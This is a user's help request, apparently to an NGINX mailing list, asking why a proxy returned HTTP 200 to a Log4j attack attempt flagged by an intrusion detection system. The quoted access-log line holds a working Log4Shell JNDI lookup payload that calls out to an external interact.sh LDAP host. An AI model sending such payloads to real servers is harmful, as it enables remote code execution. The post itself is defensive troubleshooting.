Help request about Log4j attack attempts and NGINX logs meaning

[Mauro Tridici]

Dear Users,

I have an old instance of NGINX (v.1.10.1) running as proxy server on a dedicated hardware platform.
Since the proxy service is reachable from internet, it is constantly exposed to cyber attacks.
In my particular case, it is attacked by a lot of Log4j attack attempts from several malicious IPs.

At this moment, an host intrusion detection system (HIDS) is running and is protecting the NGINX server: it seems it is blocking every malicious attack attempts.
Anyway, during the last attack mail notification sent by the HIDS, I noticed that the NGINX server response was “HTTP/1.1 200” and I’m very worried about it.
Log4j and Java packages are NOT installed on the NGINX server and all the servers behind the proxy are not using Log4j.

Could you please help me to understand the reason why the NGINX server answer was “HTTP/1.1 200”!?

You can see below the mail notification I received:


Attack Notification.
2021 Dec 28 20:45:59

Received From: “hidden_NGINX_server_IP” >/var/log/nginx/access.log
Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt detected."
Src IP: 166.137.252.110
Portion of the log(s):

166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP <ldap://%E2%80%9Chidden_server_IP>".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a <ldap://193.204.199.214.c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a>} HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"

Thank you in advance,
Mauro 
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